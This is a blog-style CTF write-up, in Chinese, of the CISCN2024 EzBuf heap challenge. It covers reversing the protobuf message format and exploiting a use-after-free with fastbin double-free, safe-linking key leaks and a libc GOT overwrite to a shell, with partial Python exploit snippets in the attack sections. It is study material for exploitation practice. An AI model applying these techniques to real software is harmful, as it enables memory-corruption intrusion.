Zj_W1nd's BLOG

How2Heap&Protobuf实战——CISCN2024EzBuf

2024/09/05

题目分析

到手一拖史不知道是什么,逆向扣了符号表,很多函数根本看不懂。

字符串交叉引用到主函数,发现首先是开沙箱(这里第一次没注意到没有load规则是个假的沙箱但是本来也没办法就没管)。

主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 read_ret; // rsi
__int64 v4; // [rsp+28h] [rbp-8h]
init_and_seccomp(a1, a2, a3);//假的
while ( 1 )
{
printf("WHAT DO YOU WANT?\n");
read_ret = (int)read(0, buf, 0x200uLL);
v4 = unpack1(0LL, read_ret, buf); // 这里面调用了malloc(0x48),会切0x50出去,初始smallbin 0xd0
if ( !v4 )
break;
menu(
*(_QWORD *)(v4 + 24),
*(_QWORD *)(v4 + 32),
*(_QWORD *)(v4 + 40),
*(_QWORD *)(v4 + 48),
*(_QWORD *)(v4 + 56),
*(_DWORD *)(v4 + 64));
buf = (char *)malloc(0x200uLL);
}
quit(0LL);
}

沙箱也是光有rule没有load,而且开了沙箱就意味着我们起始的堆布局会比较乱:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
seccomp_rules = seccomp_init(2147418112LL);
seccomp_rule_add(seccomp_rules, 0LL, 257LL, 0LL);
seccomp_rule_add(seccomp_rules, 0LL, 19LL, 0LL);
seccomp_rule_add(seccomp_rules, 0LL, 20LL, 0LL);
seccomp_rule_add(seccomp_rules, 0LL, 0LL, 0LL);
seccomp_rule_add(seccomp_rules, 0LL, 17LL, 0LL);
seccomp_rule_add(seccomp_rules, 0LL, 18LL, 0LL);
seccomp_rule_add(seccomp_rules, 0LL, 59LL, 0LL);
seccomp_rule_add(seccomp_rules, 0LL, 303LL, 0LL);
seccomp_rule_add(seccomp_rules, 0LL, 304LL, 0LL);
seccomp_rule_add(seccomp_rules, 0LL, 322LL, 0LL);
seccomp_rule_add(seccomp_rules, 0LL, 327LL, 0LL);
seccomp_rule_add(seccomp_rules, 0LL, 328LL, 0LL);
seccomp_rule_add(seccomp_rules, 0LL, 428LL, 0LL);
seccomp_rule_add(seccomp_rules, 0LL, 437LL, 0LL);
seccomp_rule_add(seccomp_rules, 0LL, 327LL, 0LL);
seccomp_rule_add(seccomp_rules, 0LL, 296LL, 0LL);
seccomp_rule_add(seccomp_rules, 0LL, 295LL, 0LL);
buf = (char *)malloc(0x410uLL);
return malloc(0x410uLL);

输入没有提示直接报错,看下面的函数,read我们的输入之后把我们的输入传入了一个神秘函数,完全看不懂。但是内部真正调用的函数指针有一个写好的参数,里面有点奇怪的字符串,heybro之类的:

到这其实就进行不下去了,下面的函数能猜到是菜单但是参数十分混乱,看不懂,遂上网搜索。

Protobuf

这个程序使用了谷歌开发的一种叫做protobuf的序列化协议进行交互的。参考看雪上这篇文章(讲的很详细,一篇够了)。protobuf是一种类似json的数据流格式,通过.proto文件定义好结构体后借助protoc编译,能将其自动转成各种语言的头文件(内含接口,包括C,python,go等等)供开发使用,还是挺方便的。文章中提到了ciscn2024这道题目,那么我们首先的任务就是逆向出protobuf结构体。

这里还了解到ida其实是有插件的,也有一些别的工具能识别二进制文件里的protobuf结构,但是我都尝试了都分析不了(看到别的师傅的wp也是如此,都是手动分析的)

对C语言来说,整个protobuf的结构体信息被ProtobufCMessageDescriptor维护,首先要做的就是定位他的magic头,一般是0x28AAEEF9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
struct ProtobufCMessageDescriptor {
/** Magic value checked to ensure that the API is used correctly. */
uint32_t magic;
/** The qualified name (e.g., "namespace.Type"). */
const char *name;
/** The unqualified name as given in the .proto file (e.g., "Type"). */
const char *short_name;
/** Identifier used in generated C code. */
const char *c_name;
/** The dot-separated namespace. */
const char *package_name;
/**
* Size in bytes of the C structure representing an instance of this
* type of message.
*/
size_t sizeof_message;
/** Number of elements in `fields`. */
unsigned n_fields;
/** Field descriptors, sorted by tag number. */
const ProtobufCFieldDescriptor *fields;
/** Used for looking up fields by name. */
const unsigned *fields_sorted_by_name;
/** Number of elements in `field_ranges`. */
unsigned n_field_ranges;
/** Used for looking up fields by id. */
const ProtobufCIntRange *field_ranges;
/** Message initialisation function. */
ProtobufCMessageInit message_init;
...//三个保留字段,没有
};

其中,结构体的每个字段被一个ProtobufCFieldDescriptor结构体维护:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct ProtobufCFieldDescriptor {
/** Name of the field as given in the .proto file. */
const char *name;
/** Tag value of the field as given in the .proto file. */
uint32_t id;
/** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
ProtobufCLabel label;
/** The type of the field. */
ProtobufCType type;
/**
* The offset in bytes of the message's C structure's quantifier field
* (the `has_MEMBER` field for optional members or the `n_MEMBER` field
* for repeated members or the case enum for oneofs).
*/
unsigned quantifier_offset;
/**
* The offset in bytes into the message's C structure for the member
* itself.
*/
unsigned offset;
/**
* A type-specific descriptor.
*
* If `type` is `PROTOBUF_C_TYPE_ENUM`, then `descriptor` points to the
* corresponding `ProtobufCEnumDescriptor`.
*
* If `type` is `PROTOBUF_C_TYPE_MESSAGE`, then `descriptor` points to
* the corresponding `ProtobufCMessageDescriptor`.
*
* Otherwise this field is NULL.
*/
const void *descriptor; /* for MESSAGE and ENUM types */

/** The default value for this field, if defined. May be NULL. */
const void *default_value;
/**
* A flag word. Zero or more of the bits defined in the
* `ProtobufCFieldFlag` enum may be set.
*/
uint32_t flags;
...// Reserved data
};

这里面涉及到我们还原的有两个枚举类型,label和type

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
typedef enum {
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_LABEL_OPTIONAL,
PROTOBUF_C_LABEL_REPEATED,
PROTOBUF_C_LABEL_NONE,
} ProtobufCLabel;

typedef enum {
PROTOBUF_C_TYPE_INT32, /**< int32 */
PROTOBUF_C_TYPE_SINT32, /**< signed int32 */
PROTOBUF_C_TYPE_SFIXED32, /**< signed int32 (4 bytes) */
PROTOBUF_C_TYPE_INT64, /**< int64 */
PROTOBUF_C_TYPE_SINT64, /**< signed int64 */
PROTOBUF_C_TYPE_SFIXED64, /**< signed int64 (8 bytes) */
PROTOBUF_C_TYPE_UINT32, /**< unsigned int32 */
PROTOBUF_C_TYPE_FIXED32, /**< unsigned int32 (4 bytes) */
PROTOBUF_C_TYPE_UINT64, /**< unsigned int64 */
PROTOBUF_C_TYPE_FIXED64, /**< unsigned int64 (8 bytes) */
PROTOBUF_C_TYPE_FLOAT, /**< float */
PROTOBUF_C_TYPE_DOUBLE, /**< double */
PROTOBUF_C_TYPE_BOOL, /**< boolean */
PROTOBUF_C_TYPE_ENUM, /**< enumerated type */
PROTOBUF_C_TYPE_STRING, /**< UTF-8 or ASCII string */
PROTOBUF_C_TYPE_BYTES, /**< arbitrary byte sequence */
PROTOBUF_C_TYPE_MESSAGE, /**< nested message */
} ProtobufCType;

label类似于数据库的限制条件,允许为空,允许重复,必须填值这种。其实label也不太重要,我们逆向全写optional就行。

在IDA中写好这几个localtype后,定位文件中的结构体并进行还原。可以知道heybro有5个字段,直接写好我们的proto文件:

1
2
3
4
5
6
7
8
9
syntax="proto2";

message heybro{
optional bytes whatcon = 1;
optional sint64 whattodo = 2;
optional sint64 whatidx = 3;
optional sint64 whatsize = 4;
optional uint32 whatsthis = 5;
}

然后protoc --python_out=. proto_buf.proto编译成python文件直接用。
以add为例,简单好用

1
2
3
4
5
6
7
8
9
10
import proto_buf_pb2.py

def add(idx,data):
chunk = proto_buf_pb2.heybro()
chunk.whatcon = data
chunk.whattodo = 1
chunk.whatidx = idx
chunk.whatsize = 0
chunk.whatsthis = 0
p.sendafter("WANT?\n",chunk.SerializeToString())

程序控制流

分析出这几个字段之后,main函数里面调用的不知所云的函数就直接猜测是翻译字节流还原的了,下面参数混乱的菜单函数也不用管参数,对着选项结合heybro的字段名大概能猜出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __fastcall menu(__int64 a1, void *whatcon, __int64 whattodo, __int64 whatidx, __int64 whatsize, int whatsthis)
{
switch ( whattodo )
{
case 0LL:
nop();
break;
case 1LL:
add(whatidx, a1, whatcon);
break;
case 2LL:
delete(whatidx);
break;
case 3LL:
show(whatidx, whatsthis, whatsize, a1, (char *)whatcon);
break;
case 4LL:
_exit(0);
default:
printf("what?\n");
break;
}
}

菜单的功能也比较怪异。。

add

malloc固定大小0x30的chunk,然后从buf memcpy0x30字节的内容到堆块中。堆指针维护在一个数组里,最大申请idx为8,但是大于8也允许操作,只是idx重置到8.
另外这意味着我们没有largebin的利用了。

1
2
3
4
5
6
7
8
9
void *__fastcall add(unsigned int idx, __int64 a2, const void *whatcon)
{
int idx_rel; // [rsp+2Ch] [rbp-4h]
idx_rel = idx;
if ( idx > 8 )
idx_rel = 8;
chunks[idx_rel] = malloc(0x30uLL);
return memcpy((void *)chunks[idx_rel], whatcon, 0x30uLL);
}

这里有个漏洞点静态分析可能看不出,无论content传入什么长度的内容,它都会copy 0x30字节。这意味着我们如果输入很短的内容可能会把别的脏东西copy到我们的堆块上。事实证明确实是这样。

delete

传入idx进行free,只允许我们释放10次,指针没置空有UAF。但是菜单没有edit功能所以只能用来泄露。

1
2
3
4
5
6
7
8
9
int __fastcall delete(unsigned int idx)
{
if ( (unsigned int)free_cnt > 9 )
return puts("No chance!");
if ( idx > 8 || !chunks[idx] )
return puts("OOPS!");
free((void *)chunks[idx]);
return ++free_cnt;
}

其实搞懂了之后回来看,只能说释放10次加0x40大小堆块已经有点暗示填满tcache+3次fastbin dup了

show

这个函数是最抽象的,下面看看它干了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 __fastcall show_edit(unsigned int whatidx, int whatsthis, __int64 whatsize, __int64 a4, char *whatcon)
{
char delim; // [rsp+33h] [rbp-1Dh] BYREF
unsigned int idx; // [rsp+34h] [rbp-1Ch]
char *chunk_ptr; // [rsp+38h] [rbp-18h]
char fake_ptr_on_stack[15]; // [rsp+41h] [rbp-Fh] BYREF

*(_QWORD *)&fake_ptr_on_stack[7] = __readfsqword(0x28u);
idx = whatidx;
delim = whatsthis;
strcpy(fake_ptr_on_stack, "hahaha");
if ( whatidx <= 8 && chunks[idx] )
chunk_ptr = (char *)chunks[idx];
else
chunk_ptr = fake_ptr_on_stack;
printf("Content:");
if ( whatsthis == 0xFF )
{
seccomp_load(seccomp_rules);
strtok(whatcon, &delim);
chunk_ptr = strtok(0LL, &delim);
}
if ( whatsize == 0x30 )
{
strtok(buf, &delim);
chunk_ptr = strtok(0LL, &delim);
}
printf("%s\n", chunk_ptr);
free(buf);
if ( ++show_cnt == 3 )
{
close(1);
close(2);
}
return *(_QWORD *)&fake_ptr_on_stack[7] - __readfsqword(0x28u);
}
  • 首先,只允许我们打印两次,到3就会关闭stdout和stderr就没法交互了

  • 正常泄露的话,它就会printf("%s",chunk)

  • 如果whatsthis附加为0xff,这里就会装载沙箱然后调用strtok分割whatcon域,很莫名其妙的操作

  • 如果whatsize附加为0x30,这里也会调用strtok,只不过是分割buf(buf也很乱后面再提)

  • 输出完之后会free掉buf

事实上到最后也没用到这上面的分支

沙箱

函数都是死的,交给copilot。前面提到的这个沙箱ban了execve,允许了orw,mprotect,文件描述符复制还有一些别的乱七八糟的东西。其实不用管,只要whatsize不传0xFF它就不会装载。

堆块的操作?

首先,buf这个字段是乱用的。动调断在malloc可以发现,主函数的一个循环会默认有这么几个操作:

  1. malloc(0x48) 一轮循环开头固定

  2. malloc(len(content)+3)

  3. malloc(0x30) -> 我们能读的

  4. malloc(0x200) 一轮循环结尾固定更不要提各种的free。我们能控制的非常有限,但是0x40的fastbin和tcache都是纯净的可以供我们利用。

攻击

思路参考自https://xz.aliyun.com/t/14709,另外看到有师傅[用obstack打](https://rot-will.github.io/page/wp/2024ciscn初赛wp-pwn/#ezbuf),但是我python缺库也没有介绍也看不懂怎么打的就不提了

泄露——tcache和fastbin指针加密

我们只能泄露两个地址,必然是一个堆一个libc。堆可以通过tcache泄露,libc的泄露比较神奇,上面提到了memcpy可能存在的复制脏数据问题,这里其实add(0,b'a'*8)再读就能发现了,里面是一个main_arena的libc地址,具体的堆排布也没有细看,反正偏移肯定是固定的直接打出来就行。

1
2
3
4
5
add(0,b'a'*8) # 0
show(0) # 1次泄露libc
p.recvuntil(b'aaaaaaaa')
libc.address = u64(p.recv(6).ljust(8,b'\x00'))-0x21ace0
print(f"[+] libc_addr={hex(libc.address)}")

在glibc 2.32之后,tcache和fastbin都对指针进行了加密,原理是原本的指针异或上堆当前页地址右移12位。因此泄露不能随便打,堆地址要泄露tcache头部的块来获得key,因为第一次链入的时候是异或全0的。

这里结合动调来确认指针内容和堆排布。

1
2
3
4
5
6
7
8
9
10
11
for i in range(9):
add(i+1,b'a'*8) # 1-6

for i in range(7): # 7/10
delete(6-i)

# tcache 0x40: 0 1 2 3 4 5 6
show(6)
p.recvuntil(b'Content:')
heap = (u64(p.recv(5).ljust(8,b'\x00'))<<12)-0x4000# 填满后走fastbin吧
print(f"[+]heap_addr: {hex(heap)}")

fastbin dup

填满tcache之后接下来我们还剩三次free,很难忍得住不用fastbin double free。简单好用任意地址写。

没有edit溢出,chunk内容用memcpy实现大小锁死。也只能这样了。这里可能还有利用程序中其他malloc去布局的方法,但是有点太困难了。

1
2
3
4
5
6
7
8
9
# fastbin dup 任意地址写
delete(7)
delete(8)
delete(7)# 10/10

for i in range(7):
add(i,b'a'*8) # tcache取回,让我们从fastbin分配chunk

fastkey=(heap>>12)+4 # 泄露fastbin的POS key,这里是堆基址加上0x4000

一次任意地址写任意值…结束了吗?

现在我们只要申请堆块就能任意地址写任意值了。高版本移除了hook函数,有一个任意地址写任意值来getshell,我自己是想到了house_of_banana.这个利用是程序用exit()退出的话,有一条_dl_fini->_rtld_global->link_map.finiarray的函数指针执行流,而函数指针是通过link_map中的l_loaded保存的程序基地址加偏移定位的。具体利用这里不展开,可以参考这两篇blog,后面也会单独写blog(或许):

https://www.freebuf.com/articles/system/345968.html
https://bbs.kanxue.com/thread-272098.htm#msg_header_h3_31
这里我搞了半天发现就是打不通,fini_array里有一个指针是在base+0xbad8处,我在堆块上写好gadget后将l_loaded改成chunk-0xbad8打不通。有点卡住了,因为我们没法再泄露程序的基地址了。aslr会让堆的偏移不固定,我们只能保证heap内部的偏移而无法保证它和程序的偏移,利用链有点断了。

这时候研究wp,发现他任意地址写了一个神秘地点,gdb打印显示是*ABS*@got.plt, 发给学长询问学长也不懂,但是提供了一个分析思路。在ida中分析libc查这个偏移发现是libc的got表,而且这段是可读写的?!原来是程序开了FULL RELRO但是libc只开了Partial RELRO。而程序中调用到的strlen还有strtok等函数在libc的got表里。我们写这个got为onegadget就能直接getshell了。

所以为什么libc自己这个动态库还要got跳转。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.got.plt:000000000021A000 ; ===========================================================================
.got.plt:000000000021A000
.got.plt:000000000021A000 ; Segment type: Pure data
.got.plt:000000000021A000 ; Segment permissions: Read/Write
.got.plt:000000000021A000 _got_plt segment qword public 'DATA' use64
.got.plt:000000000021A000 assume cs:_got_plt
.got.plt:000000000021A000 ;org 21A000h
.got.plt:000000000021A000 dq offset stru_219BC0
.got.plt:000000000021A008 qword_21A008 dq 0 ; DATA XREF: sub_28000↑r
.got.plt:000000000021A010 qword_21A010 dq 0 ; DATA XREF: sub_28000+6↑r
.got.plt:000000000021A018 off_21A018 dq offset strnlen ; DATA XREF: j_strnlen+4↑r
.got.plt:000000000021A018 ; Indirect relocation
.got.plt:000000000021A020 off_21A020 dq offset rawmemchr ; DATA XREF: j_rawmemchr+4↑r
.got.plt:000000000021A020 ; Indirect relocation
.got.plt:000000000021A028 off_21A028 dq offset realloc ; DATA XREF: _realloc+4↑r
.got.plt:000000000021A030 off_21A030 dq offset strncasecmp ; DATA XREF: j_strncasecmp+4↑r
.got.plt:000000000021A030 ; Indirect relocation
.got.plt:000000000021A038 off_21A038 dq offset _dl_exception_create
.got.plt:000000000021A038 ; DATA XREF: __dl_exception_create+4↑r
.got.plt:000000000021A040 off_21A040 dq offset mempcpy ; DATA XREF: j_mempcpy+4↑r
.got.plt:000000000021A040 ; Indirect relocation
.got.plt:000000000021A048 off_21A048 dq offset wmemset ; DATA XREF: j_wmemset+4↑r
.got.plt:000000000021A048 ; Indirect relocation
.got.plt:000000000021A050 off_21A050 dq offset calloc ; DATA XREF: _calloc+4↑r
.got.plt:000000000021A058 off_21A058 dq offset strspn ; DATA XREF: j_strspn+4↑r
.got.plt:000000000021A058 ; Indirect relocation
[.......]

onegadget…?

虽然没有沙箱,但是execve的gadget全都打不通。再回去看wp,发现他使用的-l 1找到的posix_spawn的gadget。这玩意好像会新开线程,涉及子进程什么的可能gdb会有问题,所以之前用gdb一调就打不通不调就能打通。

思路捋清了之后我自己又改了几个偏移和onegadget但是都打不通。。。只能说确实厉害。那篇将protobuf的blog下面是看了strtok内部的调用strspn然后改了got直接用system,最后传了whatsize=0x30触发分支来getshell的。

onegadget execve的估计这个题都够呛

最后,搞了半天发现house_of_banana之所以不触发,是因为这个程序一是没有main函数return,而是用的退出都是_exit()而非exit(),这俩函数在程序里都叫exit但是通过偏移我去libc看了下源码,这个_exit只有短短几行,没有任何多余处理直接是陷入内核syscall来触发。而我们说的那些调用链,io什么乱七八糟的归根结底都是用户态glibc的机制。exit的内部最后也是调用的_exit。下次要小心了。。

总结

这道题收获还是不少的:

  • protobuf通讯get-- √

  • 全新的利用:检查libc的got保护,从libc层面劫持got表,可以借助本地同版本有符号的libc进行定位或者是在ida静态分析libc文件找偏移– √

  • 高版本glibc的tcache和fastbin指针加密与泄露–√

  • house_of_banana思路(虽然没成功)–√

  • _exit和exit的天壤之别 --√

CATALOG
  1. 1. 题目分析
  2. 2. Protobuf
  3. 3. 程序控制流
    1. 3.1. add
    2. 3.2. delete
    3. 3.3. show
    4. 3.4. 沙箱
    5. 3.5. 堆块的操作?
  4. 4. 攻击
    1. 4.1. 泄露——tcache和fastbin指针加密
    2. 4.2. fastbin dup
    3. 4.3. 一次任意地址写任意值…结束了吗?
    4. 4.4. onegadget…?
  5. 5. 总结